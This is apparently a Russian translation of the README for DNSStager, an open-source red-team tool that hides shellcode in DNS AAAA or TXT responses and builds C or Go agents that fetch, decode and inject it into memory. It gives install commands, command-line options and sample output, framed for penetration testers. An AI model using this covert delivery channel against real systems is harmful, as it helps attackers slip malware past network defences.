
Спрячьте свою полезную нагрузку в DNS
DNSStager — это проект с открытым исходным кодом на Python, предназначенный для сокрытия и передачи полезной нагрузки (payload) через DNS.
DNSStager создаёт вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает полезную нагрузку в ответ на запросы определённых типов записей, таких как AAAA или TXT, предварительно разделив её на части и закодировав с помощью различных алгоритмов.
DNSStager может сгенерировать пользовательский агент, написанный на C или GoLang, который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать её и, наконец, внедрять в память с помощью любой выбранной вами техники.
Вы можете редактировать код агента DNSStager по своему усмотрению и собирать его, используя собственные методы выполнения.
Основная цель использования DNSStager — помочь специалистам по тестированию на проникновение (Red Teamers / pentesters) доставлять полезные нагрузки по скрытому каналу через DNS.
В зависимости от выбранного вами типа DNS-ответа DNSStager разделит полезную нагрузку на части и сохранит каждую часть в ответе на поддомен.
Например, если вы выберете IPV6 в качестве способа получения полезной нагрузки, DNS-ответ будет выглядеть примерно так:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 — часть вашей полезной нагрузки.
Таким образом, агент будет разрешать некоторые домены, чтобы получить полезную нагрузку, затем декодировать её и в итоге внедрить в память.
В настоящее время DNSStager поддерживает только два типа записей: AAAA и TXT. Вы можете закодировать полезную нагрузку с помощью XOR для записи AAAA, а по умолчанию для записи TXT она будет закодирована в base64.
DNSStager обладает следующими ключевыми возможностями:
IPV6.TXT.C с возможностью его настройки.GoLang с возможностью его настройки.Вы можете установить зависимости Python для DNSStager с помощью:
pip3 install -r requirements.txt
Вам необходимо установить GoLang версии 1.16.3 и убедиться, что установлены следующие пакеты GoLang:
Также убедитесь, что установлен ming-w64 с помощью:
apt install mingw-w64
Скрипт setup.sh должен сделать это за вас, но перед использованием проверьте требования!
Чтобы получить последнюю версию DNSStager, клонируйте её из этого репозитория следующей командой:
git clone https://github.com/mhaskar/DNSStager
Затем установите зависимости с помощью команды:
pip3 install -r requirements.txt
Также убедитесь, что установлены все вышеупомянутые требования.
После этого вы готовы запустить DNSStager от root для получения следующего:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
Чтобы начать использовать DNSStager, сначала настройте свой DNS. Вам нужно указать ваш домен на экземпляр DNSStager как NS запись, чтобы он обрабатывал все DNS-запросы к вашему домену.
Вы можете прочитать эту полную статью о настройке и использовании DNSStager.
Также вы можете посмотреть опции, используя ключ -h:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: этот параметр позволяет выбрать основной домен, который будет обрабатывать DNS-запросы.
--prefix: префикс, который будет использоваться в схеме поддоменов.
Например, если ваш основной домен — fakedns.live, вы можете указать префикс cdn, и сгенерированные домены будут иметь следующий шаблон:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveГде N — автоматически сгенерированное число, соответствующее количеству частей вашей полезной нагрузки.
--payload: полезная нагрузка DNSStager («агент»), которую вы хотите сгенерировать, в зависимости от техники, языка программирования и архитектуры.
--output: путь для сохранения исполняемой полезной нагрузки DNSStager («агента»).
--shellcode_path: путь к вашему сырому/bin шеллкоду.
--xorkey: ключ XOR для кодирования полезной нагрузки.
--sleep: пауза в N секунд между каждым DNS-запросом.
--tcp: запустить и использовать DNS-сервер по протоколу TCP.
Чтобы просмотреть доступные полезные нагрузки DNSStager, используйте ./dnsstager.py --payloads:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available